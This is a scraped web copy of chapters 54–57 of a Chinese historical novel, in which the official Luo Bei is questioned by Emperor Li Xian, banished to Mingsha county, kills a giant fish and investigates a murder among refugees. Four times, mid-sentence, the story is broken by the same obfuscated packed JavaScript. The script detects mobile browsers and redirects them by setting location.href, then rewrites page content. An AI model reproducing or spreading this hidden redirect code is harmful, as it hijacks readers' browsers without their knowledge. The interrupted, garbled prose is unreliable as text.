说是要接驾,但皇帝出巡何其复杂,等到李显来的时候,已是下午。别院的一切都被布置得符合迎接皇帝驾幸的规格。因洛北重伤未愈,皇帝天恩,免了他门外跪迎的礼。洛北换了一身崭新的绸袍,在室内向李显行了三跪九叩的大礼:“罪臣叩见皇上。”又给同行的韦皇后叩行一跪三叩的大礼:“叩见皇后娘娘。” 李显还是第一次这么近地看到自己的这位臣下。他盯着洛北琥珀色的眼眸盯了半晌,才拉了拉韦皇后的手道:“我记得你的这双眼睛.......我记得,宫变的那天,你也在宫里,是不是?” 洛北低头称是。 李显问:“你参与了宫变,为什么张柬之那些人不上表为你请功,倒是姚崇宋璟给你说话?” “微臣参与宫变,只是为了奉李唐正朔,不是为了加官进爵。” 李显冷笑一声:“奉李唐正朔,好一个奉李唐正朔,你们这些大臣,只是想要一个人奉李唐正朔。你们的心里可曾想到过朕?可曾记得朕也是个活生生的人,不是泥胎木偶?! 你们要起兵,把我架在马上,母亲看见了,她斥责我……我怕呀,但我回过头去,你们,你们一个个地盯着我。所以我退不了了,可你们想过没有,她毕竟是我的母亲,我八十岁的母亲啊……如果她当时不想传位给我,又为什么把我从房州召回来?都是你们这些人,为了自己的私欲,让我背上了逼迫母亲的骂名——你们这帮乱臣贼子!” 他骂的兴起,看到洛北伏身跪在阶下,又恨声道:“你怎么不说话了?哑巴了?” 洛北低声道:“陛下斥五王与臣为乱臣贼子,雷霆雨露俱为君恩,罪臣不敢言对。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281676|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下,倘若当年女皇召您回来是要传位于您。她为什么要让相王留在京中,让相王执掌禁军呢?又为什么要杖杀懿德太子与永泰郡主呢?” 提及李重润和李仙蕙,皇帝浑浊的双眼里流下了眼泪。韦后已经拿帕子捂住了嘴唇,在一旁无声的哭泣着。她对这一双儿女倾注了多少心血,才把他们养成,可武则天就因为他们私下里谈起二张兄弟,下旨把他们杖杀了,连她女儿肚子里的骨血都没有保住。 “你,你说下去……” “罪臣与五王俱是孔门子弟,自然希望国家如周礼所教,立嫡立长。但对女皇来说,她只希望自己的继承人听话顺从,这样不论李唐神器如何,武家子弟依旧可以掌握权力——” 洛北的未竟之言是“恰如今日”,李显听明白了,韦皇后也听懂了。李显颓丧地坐下,他没想到,自己已经登基做了皇帝,还是逃不过母亲的算计。 韦皇后却站了起来:“洛北——你说女皇希望武家人掌握权力,这不假。但是你避重就轻,不提张柬之这些人骄傲自大,邀功于前,独断于后。难道你们这些孔门儒生,就是这么侍奉君主的吗?” 洛北抬头看了韦皇后一眼,惨然一笑:“娘娘,哪怕就在宫变当晚,臣与五王手中也无一私兵,有的不过是“恢复李唐神器”的口号,不过是太宗文皇帝沐风雨,栉寒暑,以三尺剑定天下的积威罢了。” 他叹了口气:“微臣辗转边塞多年,但见契丹、吐蕃、突厥在边境烧杀抢掠,无不打着‘复我庐陵王’的称号。可见天下人思归李唐,连化外蛮夷也能随意利用。所以微臣才入京参与宫变。五王大权独揽,确有他们的不是。然而圣上承担神器之重,一言九鼎,您罢黜五王相位的时候,天下人又何曾多说了什么?” 韦皇后也不禁叹了口气,她知道洛北所说的一点不差,只要军队掌握在皇帝手中,不论要罢相,要贬官,要杀人,不过是皇帝一句话的事情。 一时四下寂静,没有一个人敢出声。洛北伏低身子,低低咳嗽起来。 褚沅悄无声息地挪动身子,往他手中塞了一方绢帕。他投以一个感激的眼神,又低下了头。 半晌,李显才喃喃道:“朕算是明白,为什么郭元振和阿史那献千里迢迢地上书为你求情了。站起来吧。” 洛北勉强撑起身子,脚下趔趄了一下,褚沅正要伸手去扶,被他用眼神制住,他站在皇帝与皇后面前,毫不畏惧地同这些贵人们对视。 李显长长地叹息一声:“你的一片丹心,朕和皇后都明白了。可你太年轻,锋芒太盛,长安城是待不下去的。郭元振和阿史那献都在奏折中说你谙熟边事,希望朕派你到边关去历练,此事可真?” “微臣入朝之前,曾在郭都护幕下为参军。” “灵州附近有个鸣沙县,灵武道大总管沙吒忠义驻军在那,胡汉杂居,民情复杂,还常受突厥侵扰。你去那吧。” “微臣谢主隆恩。”洛北又跪下谢恩。李显不再和他多说一句,转身而去,韦皇后又看他一眼:“你……好自为之。”便也随皇帝而去。 皇帝和皇后的仪驾远去,留下这小小的宅院一片静寂。 褚沅赶忙从地上爬起来去看她的兄长,他兀自跪在那里,竟是半点也挪动不了。她慌忙叫他靠在自己怀里,用绢帕擦掉他脸上的汗。 洛北缓过劲儿来,长长地叹息一声,他知道,自己和五王的性命算是堪堪保住了。 55. 第 55 章 “八宝山来着火焰山,农民们占下的荒草滩。 甘州呀不干的水滩滩,凉州呀不凉的米粮川。” 自兰州向东,过了北卜渡便是鸣沙河,洛北一人孤骑,顺着驿道打马疾驰。金雕在他头上飞跃盘旋,发出一声声畅快鸣叫。 他远远地听到渡口的艄公唱着西北有名的花儿《拉夜川》,勒马停在渡口前,向那艄公施了一礼:“老丈,渡河吗?” 艄公用草帽搭在肚皮上,正躺在船上休息,见他斯斯文文,心下不以为意,只拿草帽一挥:“不是时候。” “我急着去鸣沙山上与人会和。”洛北从袖中摸出一吊铜钱,“若老丈肯渡我,我愿意付双倍的船钱。” 艄公一股脑坐了起来,不知是恼他实在打扰,还是舍不得那一吊铜钱:“你这小子怎么听不懂人话,说了不是时候不是时候,怎么还要在这里纠缠?到时候船毁人亡,你这点钱买个好棺材都不够!” 洛北被他这样一说,反倒来了兴致:“此地河流平缓,波涛如徐,便是扎个筏子,也能渡河,何况老丈这艘小船。这“不是时候”是怎么说的?总不能是因为暗流汹涌吧?” “听你这文绉绉的讲话,你是从灵州城来壮游的书生吧?”艄公无奈地站起身,从船头瓦罐中拿起一只腌得正好的咸鱼干,向空中使劲儿一抛。 说时迟那时快,原本平静的水面波涛翻滚,浪中扑出一道黑影,直直向着那条鱼干而去。 这竟是一条足有两人长的大鱼。 它吞了鱼干,心满意足地落回浪中,带起一阵滔天巨浪,水波溅湿了洛北和艄公半身衣裳。好久之后,河中的旋涡才平息下去。 “书生,你可见到了。”艄公无奈道,“现在是午后,正是这东西活泼的时候,水面上过条船,会被它当成玩具,几下就撞碎了。上回有个女子,也是急着回家看生病的老娘,差点被它咬了半条腿去。歇一歇吧,赶什么路也没有脑袋重要啊。” 洛北皱了皱眉:“这东西尝过人肉滋味?” “差点,尝过了人肉滋味,它还会馋那小鱼干吗?”艄公叹了口气:“我们这些人啊,一日三顿地供着它,就等着一日里它打盹的时候,渡人过河赚个钱贴补家用。” “此地在鸣沙县治下,有这样的东西伤人,鸣沙县令竟然不管?”洛北问。 艄公听他提到县令名字,吓得左右张望了一番:“说的好好的,怎么议论起这些了。那赵县令起过治理的意思,结果张榜出来没几日,自己就死了,死的真惨呐,只有一堆碎块,像是被猛兽吃了。老话说,这些东西都是成精了的。说不准就是......哎,你做什么?” 洛北没有听艄公说话,兀自走到船头,从随身的包袱中掏出一块肉干,学着艄公的样子,向空中高高抛去。 那大鱼果然像之前那样扑出水面,要去咬那肉干,一支羽箭如流星飒沓,横飞而来,自它的一只眼中穿过,又从另外一只眼中穿出。大鱼张开的大口尚未合拢,身体便如失了线的风筝般坠到河中,又溅起一阵滔天巨浪。 洛北和艄公的衣裳这下是都湿透了。那艄公看着大鱼翻着肚皮浮上水面,几次张口要说什么,几次都没能说出一个字来。 洛北收了弓箭,伸出手臂,盘旋在空中的金雕飞驰而下,乖顺地落在他的肩上,他跳上小舟,问那艄公:“现在可以走了吗?” “是,是。”艄公应了两声,忙拨动船篙,将船撑离了岸边,直到船到中游,他才真的反应过来,那大鱼已经死了,再也不会来侵扰船只:“公,公子真是好箭法。这是,这是怎么做到的?” 洛北哈哈一笑,并没有答他的话,只从包袱里摸出一块肉干,喂到金雕嘴里。这小东西跟他在长安的时候一多半呆在笼子里,被关的太久,都快要忘了怎么飞,怎么捕猎了。 艄公也不敢多问,只一路陪着小心,把他安安稳稳地送到岸边。洛北照旧拿出那一吊铜钱递给他。 那艄公没接铜钱,而是跪倒给他磕了个头:“公子大恩大德,老朽不敢忘怀,还请公子留下大名,以便老朽日日焚香膜拜。” 洛北把他拉了起来,又数出船钱,递到他手上:“我一个大活人,还用不着焚香膜拜。倘若日后有冤屈,可以到鸣沙县衙来寻我。”说罢,也不等艄公回话,就牵着马走了。 艄公呆愣半天,看了看铜钱,又看了看大鱼的尸体,高呼了一声:“上天有眼!鸣沙县来了青天老爷了!” 鸣沙河畔有座沙山,洛北牵着马顺坡而上,马蹄挤压沙粒,发出锵然声响。 自王同皎谋刺案结束之后,皇帝李显御笔钦点,王同皎等人斩首抄家。武三思在朝中大肆株连,将一多半由政变拔擢而起的大臣都贬斥下去。 功勋卓著的五王也概莫能外。五人之中,除张柬之已经告老还乡外,其他人俱被贬斥出长安,担任外地的刺史。 洛北虽然不算政变功臣,但也在株连之列,被贬为鸣沙县令。但在离开长安之前,他最先送别了自己的妹妹褚沅。 酷暑未停的时节,褚沅被委任为上阳宫正,前往洛阳侍奉女皇。她从内宫学士晋为宫正,确实在品级上有所提升。但离开长安,便等于离开贵人云集的政治中心,她的前途可谓是黯淡无光。 “倘若不是因为我......”送别她时,洛北一路闷闷不乐。他清楚地知道,以褚沅的才能,要不是在自己的事情上得罪了武三思,绝不会落到这般田地。 “阿兄的伤还没好,可不要伤心劳神。”褚沅温言安慰他:“大臣们不是讲思危思退思变吗?我去了洛阳,或许比在长安更安全。” 洛北沉默不语,只从腰间摘下玉笛给她留作纪念。 几日之后,他踏上了离开长安的漫漫长路。王翰、裴伷先和张孝嵩一道来送他。王翰破口大骂奸臣当道,张孝嵩愁眉不展——他已以榜眼身份入了御史台,知道鸣沙县的前任县令便是死于非命,担心好友的前路。 裴伷先和洛北素有默契,可裴伷先已是太子府的詹事,不能再跟随在洛北身后,便在自己的手下挑了个得用的人前来鸣沙。 他们本约好今日在这鸣沙山上相见。只是如今已到下午,洛北却没见到这人的身影。 正在洛北思索之际,身后鸣沙声又渐响起,一个一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281677|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身短衫的中年人牵着一匹马爬了上来:“是洛公子吗?” 洛北转身看去,这人约四十岁上下年纪,中等身材,直鼻薄唇,生就一副精明强干模样,心中已了然此人身份:“是吴钩吴掌柜吗?” 吴钩低身向他道了个大礼:“正是,渡口不便,我原以为公子要再晚些才来。还请公子恕我不恭之罪。” 洛北把他从地上扶起来:“不妨事。想是吴掌柜在来的路上遇到了那条大鱼?” 裴伷先和他介绍过,这个吴钩本是裴伷先在西北六省的大掌柜,本是边塞士兵,多年前流落突厥为奴,为人赎买之后便往来于丝绸之路上,后来被裴伷先收留,便成了他手下的掌柜。裴伷先看重此人精明强干,能力极强,便荐到洛北麾下。 “公子休要客气,唤我一声‘吴钩’便是。”吴钩笑道,“不错,好一条畜生呐,原来此地河流平缓,渡口繁忙,有了这条鱼之后,往来商队至少要减少四成。对鸣沙的赋税,可不是件好事。” 洛北听说过,熟悉生意的人,往往脑中时常有本账簿,想来这吴钩便是如此:“你账务精到,我自愧不如。至于赋税的事情,你不必担忧——我来的路上,已将那条大鱼给料理了。” 吴钩极为惊讶地“啊”了一声:“那大鱼浑身鳞片,可不是个好对付的。我也拿箭射过,只擦过鳞片,便滑到水里了。” 洛北笑笑:“对付这种畜生,只有两个办法,要不就趁它张口,用神臂弓那样的大弓射穿它的上颚,要不就得用一支箭把它的眼睛射个对穿。” 他语调轻松,像是在说小孩子玩耍。吴钩听得瞠目结舌:“我吴钩蹉跎半生,虽有万贯家财,却不能扬名立万,终于,终于给我等到了这样的机会!我愿为公子效死!只求公子建功立业之时,莫忘了我的名字!” 洛北笑了笑:“‘效死’二字,还谈不上,对了,我托你做的事情,你做得如何?可有什么困难么?” 吴钩低头抱拳:“是。我受公子命令,在此之前深入鸣沙县治下的数个羁縻州,招募了十来个骑射好手,随同公子一道赴任。这些人不日将分批抵达县衙。困难没有,倒是在路上,遇到了吐谷浑部的慕容宣彻,他听闻公子前来赴任,惊喜异常,说等他本部事宜处理完毕,便来拜访公子。” 洛北点了点头,远远眺望着夕阳下的河岸边的鸣沙县城: 以他的本心,本来是想在朝中为良臣贤臣的。奈何在酷吏手下死里逃生的那一点不甘死死地支撑着他,叫他不要再听从别人摆布自己的命运。 既然如此,塞外广阔,正是他组建自己势力的大好机会。 “做得好。”洛北嘉勉了他一句,“鸣沙县情况复杂,前任县令上任不到半年就死于非命。那些本地的吏员根深蒂固,还与在此地统领大军的沙吒忠义相熟。你我要面对的困难可想而知。走吧,去会会他们。” 他们二人来到鸣沙县的侧门前,只见城墙高耸,一座样式简朴的二层门楼矗立此地。两名守门士兵查验过他们的官牒,放了他们进城。此地街市热闹,常有胡商来往其中,洛北和吴钩沿着穿过街市,走进了县衙的大门。 56. 第 56 章 几个衙役正在院内的空地上打牌,见到洛北和吴钩,都站了起来。为首的一个厉声喝道:“喂,哪来的乡下人,懂不懂规矩啊,这是县衙的大堂。你们当这是自家的后院想闯就闯的?” 这几个人一边说着话,一边就往洛北和吴钩身上撞过来,看起来是不准备善了。 吴钩皱了皱眉,挡在洛北身前:“好大的胆子,这是新任鸣沙县令洛北洛公子!还不叫你们县丞滚过来。” 那为首的衙役不由得又上下打量了洛北一番。他年纪轻轻,一身斑斓宽边绸缎圆领袍,比入狱之前还要清瘦一些,越发显得他隆鼻秀目,俊美昳丽:“这......” 洛北冷笑一声:“怎么,要我当场拿出官凭来看?” “不敢,不敢,不敢。”他这一开口,衙役才觉得他身上气势骇人,忙跑到后堂去叫出来一个胡子花白的老者。那老者年纪虽大,走路却还稳当,一路来到前堂,先对吴钩躬身道礼:“属下姓顾,是本地县丞。见过,见过洛明府。” 吴钩一边暗骂这老头什么眼神,一边往洛北身后躲:“顾县丞,我家公子爷才是新任县令。” 顾县丞连忙道歉:“实在抱歉,这几日忙着官府授田的事情,一时看花了眼,还请洛明府不要见怪。” “无妨。”洛北摆了摆手,他在到达鸣沙之前,去了州府拜谒现任灵州刺史李贞。李贞曾同他一道在吐谷浑部族出生入死过,便将鸣沙情况对他和盘托出: 鸣沙因有大军驻扎,一向安定,一年到头,也就是几个士卒打架、欠钱不还、田地纠纷的小案子。但也因为有大军驻扎,县中吏员往往倚仗和军队的关系为所欲为。反倒是前来赴任的外地县令的权力被压得很小。 县衙内部混乱至此,倒也没有出乎洛北的预料。他没有纠缠此事:“顾县丞,你领我们在这县衙四处转转如何?” 顾县丞带着他们进入大堂。堂内青砖铺地,打扫得十分干净。高高的案桌后面挂着一副绛紫的帷幕,中央是一副獬豸图样——这是象征县令明察秋毫的神兽。 他们穿过帷幕后的门廊,进入二堂内。雪白的墙壁新近才粉刷过,靠墙摆着一副长榻,铺着一块兽皮褥子。 “这是沙吒忠义将军到任之时赠与县衙的。”顾县丞解释道,“因有大军驻扎,鸣沙县一向安定,这次出了杀人命案,死者还是县令——县中已经是人心惶惶了。” 说话之间,他们已经走到二堂庭院内,洛北推开前厅大门,县衙大印正端正地放在一张极为精美的高桌上。顾县丞将大印呈给洛北,洛北将和簿册上的印记对照之后,方才签收——自此刻起,他便正式主管鸣沙全县,成为了一方父母官。 “正是授田的时候,县中公务繁忙。又有杀人命案在前,和城中名流会面的事情,只能之后再说了。”洛北道,“今日我想和衙门中的一干衙役和差人见面,还要烦请你去召集。另外,通知县中的里正明日来见我。” 顾县丞喏喏应了,又道:“按律,吐谷浑部族所在的安乐州也在鸣沙县下属,只是阴山安乐王慕容宣彻出访部族,尚未归来,明府可要派人去寻?” 洛北摇了摇头:“我与慕容宣彻有旧交,等他回来了再和他见面不迟。” 那顾县丞闻言更是恭敬:“是,是。”他将洛北引到内宅里: “去年夏天,明府的前任赵县令已将此地修葺一新,他被杀之后,前来查案的御史将他的行李捆扎起来,预备着找到他的家眷后,便将这些东西送还,但至今杳无消息,小人便做主将他的东西都放到库房里了。” 洛北点了点头:“无妨。我和吴钩也就两个人,你替我收拾出来两间屋子,就可以居住了。我现在去二堂更衣,你去召集衙役们。” 吴钩跟着洛北走进二堂,替他打了些冷水洗脸。洛北换上一身官服,又草草洗了个脸:“这个县衙……衙役们张狂成那样,顾县丞却又特别恭敬。” “或许是公子爷突然到访,打了他们一个措手不及。”吴钩道,“但他说此地有大军驻扎,所以一贯安静时,似乎没有说谎。” 洛北沉吟片刻:“沙吒忠义和李多祚一样,都是百济族名将。我朝灭高丽后入长安效力,他在辽东多年,曾经参与多次与契丹、突厥的作战,也曾入朝宿卫,据说治军有方,很有声望。不过,在前任县令的死因查清楚之前,我不打算去拜访这位沙吒将军。” “公子爷怀疑沙吒忠义和此事有关?”吴钩问。 洛北摇了摇头:“比起怀疑,担心这个词更恰当。沙吒忠义统领大军,若与赵县令不和,有一万种方式可以合法地把赵县令赶出鸣沙县。但赵县令偏生离奇地死在鸣沙,这对他......” 洛北话到一半,突然顿住。吴钩抬起头一看,正看到顾县丞从外间走进来:“洛明府,差人们都到了。” 洛北随他走上堂前,衙役和差人们在堂下跪倒一片。顾县丞将这地上的二十余人逐一介绍过一遍,又向洛北躬身道礼,等待县令的命令。 洛北站起身,走到案桌之前:“诸位,本官新到此地,不想骤然改变规矩。在此与你们约法三章,其一,有违律法之事不可为,其二,滋扰百姓之事不可为,其三,有违伦理道德之事不可为。本官到任之前的事情,既往不咎,若是之后还有再犯的,本官会依律处置。听到了么?” 一众衙役都俯首称是。洛北又当堂任命吴钩为县衙主簿,负责一应例行公务,并命顾县丞和吴钩一道去清点账册。 他自己则回到书斋中,命书办找出了赵县令死亡案的卷宗,细细地研读起来。 赵县令年近半百,寒门出身,朝中并无背景,进士及第之后,一直辗转担任各种小官。鸣沙县令是他担任过的第四任官职,就任三年以来,政绩平平,即将于今年年底调任他处。 就在离调任还有六个月的时候,赵县令的尸首被发现出现在县外的密林之中,尸体残破不堪,只剩下一堆碎块。县中官吏还是通过尸体旁边残缺不全的衣物才认出了赵县令的身份。 朝中御史前来勘察,也对这毫无线索的案件无从下手,最终以“野兽伤人”结了案。 洛北将案卷翻来覆去地看了好几遍,也没有从这案卷里看出花来,只得又命书办拿出赵县令所办的一系列案件卷宗来看。 “公子爷。”吴钩端着一碟餐饭走进来的时候,洛北还在埋首案牍:“赵县令的案子可有什么眉目?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281678|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 洛北揉了揉眼睛:“赵县令为官为人,堪称‘平庸’,从他的案卷中我是什么都没看出来,现在我将他历年办过的案子一一复核,希望找出点眉目来。” 吴钩摆出一叠账册递到他面前:“我这里倒是有收获,可这对公子爷来说恐怕算不上好消息,我与顾县丞盘点了鸣沙县的府库,这库里是老鼠见了也发愁啊。” 这件事倒是洛北没有预料的,他翻了翻账本,粮仓里的存粮只够现有的这些差役和官员糊口、各色军械破的破、烂的烂,从无修缮。库房里更是干净得能照见人影: “怎么会?此地街市兴旺,往来商旅频繁,水源丰富,土地也有百姓耕种,年年赋税虽不说提前足缴,也不至于拖欠太久......要是县衙的账目烂成这个样子,这三年赵县令是怎么在州府那里过的关?” 吴钩摇了摇头:“这便是我也觉得奇怪的地方。如果说鸣沙是突厥前线,年年遭受侵扰,导致百姓穷苦。赵县令这三年又是怎么能够把赋税糊弄上去的?对了,他还修葺了县衙。难道全靠盘剥百姓?” “盘剥百姓也不能做的太出格。此地是突厥前线,如果他压迫太过,老百姓勾结突厥造了反,他这个县令是要掉脑袋的。”洛北敲了敲桌子,还有一个问题盘旋在他的脑海中,“可若是赵县令另有财源,那他自己也绝不会一分不留地都给了州府吧?这些银子又去了哪里?” 此刻风声四起,吹得不知何处的门窗砰然关闭,震得整间屋子都抖了一下。洛北一手按刀走到那边,却发现是一扇年久失修的窗户正在大风中摇曳,他试了几次,也未能将窗户合拢:“这窗户的锁扣坏了,得找人来修。” 吴钩愁眉苦脸地往桌边一坐:“公子,要不我从自己家里拿点银子出来?” “现在就要自己贴钱,以后拿钱的日子可就多了,还是明日我和顾县丞说吧。”洛北摇了摇头,他回到桌边,又拿起案卷读了起来,忽而指着其中一处案卷对吴钩道:“等等,你看这个案子,是不是有些蹊跷?” 吴钩拿过案卷看了看。这是一桩杀人凶案。一个逃难来的流民孙二,指控住在周围的流民杀害了他的兄长孙大。 鸣沙河自鸣沙县穿过,造成了鸣沙县充足的水土资源。附近的州县和羁縻州中的贫苦农民、牧民经常来此寻觅空旷之地,安营扎寨,开荒种地。这些人没有户籍,不好管理,让地方县衙经常一筹莫展。 既然有了人命案子,赵县令便只能带人前往勘验。一开始没有找到孙大的尸首,赵县令将周围人抓起来一一询问,才找到了一具无头男尸。于是赵县令拷问流民,要他们交出凶手。 这些流民有汉人、吐谷浑人、突厥人,各民族杂居,有些人连汉话都说不利索,自然也没有交出凶手。赵县令下令严刑拷问,生生在大堂上打死了一个人,才有一个汉人,一个突厥人出来自认罪行,但始终不肯交出孙大的头颅。 赵县令以死罪将这两人关入大牢,等待秋后问斩。可这两个人遍受酷刑,不久就病死在狱中。因人犯已死,此案便到此作结。 吴钩道:“流民愤而作案确实可能。但如此明显的疑点,勘察赵县令命案的御史来的时候,难道没有想过?” 57. 第 57 章 洛北轻轻一笑,递给吴钩赵县令之死的卷宗:“你看,御史确实走访了乡间。但他有县丞、里正陪同,得不到这些流民的信任。这些流民之间必然互相掩护,他哪里能得到一点有用的线索?” 吴钩说:“我立刻找衙役把这些人都拘来讯问。” “哎,急什么?到了公堂上,恐怕这些人就更不会讲实话了。”洛北站起身来,“正好,文书我今天是看够了,我去走一走,明天中午之前回来。” 吴钩立刻跳了起来:“这可不行,公子爷,来这里之前,裴老板和我说过,公子爷年少,喜欢白龙鱼服之游,他可让我看着你,不准你再孤身犯险!” 洛北一听是裴伷先的嘱咐,顿觉头痛:“伷先又不在这儿。再说,我这不是带上武器了吗?若是情势不好,我绝不轻易出头。”他话音未落,就要出门,吴钩却结结实实地往他身前一站: “不行,公子爷,我是答应过裴老板的。” 洛北自认足智多谋,对上这样的下属也是无可奈何:“好吧,明日中午,如果我还没回来,你就带上衙役到流民聚集的地方去找我。这样总行了吧?” 吴钩知道自己犟不过洛北,只得点头答应。洛北回到房中,换上一身破烂的窄袖胡服,带上弓箭和宝刀,自县衙的后院翻了出去。 流民聚集的地方在沙山与河湾之间,地上多是沙砾碎石,洛北走了几步,差点踩到了一家的菜苗,便有个男人站起来用外地口音喝斥他:“走路看着点!” “我不知道,我.....新来,新来的。”洛北用一口夹杂着突厥语的汉话与他对答,“来投奔,投奔亲戚。” 那男人瘦而高,一身皮肤都被边地的太阳晒得黑亮,走过来把他上下打量了一番:“你是突厥人?” 洛北指了指太阳的光芒,又指了指自己:“乌特。” 那男人也听得懂一点突厥话,知道乌特是光明的意思:“哦,你是说你叫乌特是吧?你身上的伤疤是怎么回事?被官差打的?” 洛北身上的伤痕是在酷吏手中留下的,此刻倒阴差阳错,成了他和这群流民混熟的敲门砖:“不,不,突厥人的贵族,坏。” “哼,你在这里待得多了就知道。这帮当官儿都是一样的狗东西,到了哪儿都是咱们穷棒子挨骂挨打。”那男人道,“我叫许平,是从隔壁的定安县逃过来的,你要投奔哪个亲戚?我帮你打听打听。” “巴彦。”洛北顺口说了一个他在之前的案卷上看到过的名字。 许平点了点头,带着他穿过几片凹凸不平的菜地,进了流民聚集的地区内。流民们极少有钱盖砖木房子,要么就像牧民那样搭着帐篷,要么就用芦苇、树枝搭着棚子。一处空地上点着火堆,那些没有地方居住的人便聚集在火堆边烤火。 许平找了个正在烤火的突厥人:“喂,大哥,听过个叫巴彦的人么?” 那突厥人摇了摇头,又问旁边的几个突厥人,一个披着毡帽的突厥老人揉了揉脑袋:“那,那不就是三年前死在牢里的那个人吗......” “死在牢里?”洛北立刻提高调门,用突厥话问道,“我的叔叔怎么死在牢里了?” “那是三年前的事情了。有个叫孙二的汉人说我们这些人谋害了他的哥哥孙大。县令就把我们都抓了去,把我们编成十个一组,挨个拿荆条打。巴彦和另外一个汉人见有个人被打死了,就站出来说,是自己杀的人。”另外一个低着头的突厥人道。 那突厥老人唉声叹气:“可他们站了出来,那县令还不肯饶恕我们,一定要我们招认尸体头颅的下落。这才把他们两个打成重伤,叫他们死在狱中的。” “一定是那个孙二故意陷害我们。我要杀了他为叔叔报仇。”洛北怒不可遏,当场拎起弓箭就要走,被周围三两个突厥人一起拦了下来。其中一人对他喝道:“那孙二早搬到县里去居住了,你当自己还在草原上,可以随意杀人吗?” 洛北垂头丧气地坐回火堆边,脸上露出悲伤神情,不一会儿就痛哭起来。 许平见他哭得实在伤心,便坐到他身边安慰道:“乌特兄弟,你一个大小伙子,又有弓箭,干点什么不能糊口。你的叔叔已经为了这桩案子送了命,你何苦要搅到里面去?” 洛北擦了擦眼泪:“我们突厥人,血仇,一定要报。” “你这小子怎么冥顽不灵的?”一边的突厥人恨铁不成钢地骂他,“咱们这些流民没有户籍,不受官府的管辖,本来就是官府的肉中刺眼中钉,你还一个劲儿地往里扎,生怕那些当官儿的不收拾你,是不是?” 许平也劝他:“我可听说了,那新来的县令是个厉害角色,一出手就把河里的大鱼给料理了,恐怕也是个杀人如麻的人。” 洛北见他们说得决绝,只得低头哭了一阵。到了后半夜,不少人三三两两地睡了过去,那突厥老人却来拉了拉他的衣角,低声说:“孩子,你是从哪片草原上来?” 洛北背后一凉,他哪里知道巴彦是从哪个部族里逃过来的,只得随口应付道:“我不知道,我之前跟着默啜大汗的儿子拓西可汗。” “我明白了,你大概曾经也是乌特特勤的族人吧?所以才给自己取了这个名字。”突厥老人抬着眼,看着天边的金星,在突厥文化里,金星也是光明的象征,“如果伟大的乌特特勤在天上的英灵能够看到他的族人们都受着这样的苦,一定会降下愤怒的火焰。” “可是,”洛北问:“乌特特勤已经去世很久了,为什么你们还在怀念他?” 老人惊讶地看着他,似乎不明白为什么一个突厥人能说出这样的话:“因为他为我们争取牧场,替我们减少赋税,帮我们治愈病痛......之前从来没有一位叶护和特勤像他那样照顾我们。之后也没有,否则我就不会背井离乡地逃到这里来了。” 洛北盯着火焰,陷入一片沉默,他自己也没有想到,很多年后能从最贫苦的突厥牧民口中听到这样的话。他在草原上生活过,知道对于艰苦的游牧生活来说,自己做的那些事情只是杯水车薪,但就是这么一点点帮助,也让别人这样长久地感激涕零。 “至于你的叔叔。你说的很对,是孙二故意陷害我们。”老人继续说,“那几天,孙二和巴彦、还有几个青年一起出门打猎。孙大在家里,好几天没有出过门。我们害怕出事,就进去看了看。那孙二回来之后。我们便谎称孙大有病,要替他掩埋尸首,可这孙二无论怎么说都要开棺验尸,我们只好告诉他发现尸首的时候就没有头颅,才替他开了棺。结果他立刻反咬一口,说是我们杀了他的哥哥......孩子,这件事情是巴彦和那个汉人替我们所有人顶了罪。” 洛北皱了皱眉:“怎么不去报官呢?” “官府的人什么时候偏向过我们?那些汉人还好,我们连汉话都不会说,一去了公堂,不就是等着挨打吗?”突厥老人说,“那孙二回来之后,无论怎么说都要开棺验尸,我们告诉他发现尸首的时候就没有头颅,才替他开了棺。结果他立刻反咬一口,说是我们杀了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281679|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的哥哥......孩子,这件事情是巴彦和那个汉人替我们所有人顶了罪。” 洛北点了点头。老者又情不自禁地说起其他的事情,什么山神、伟大的祖先们和遥远草原上的故事。洛北在他平稳的絮叨声中闭上双眼,把头靠在膝盖上,疲惫地睡着了。 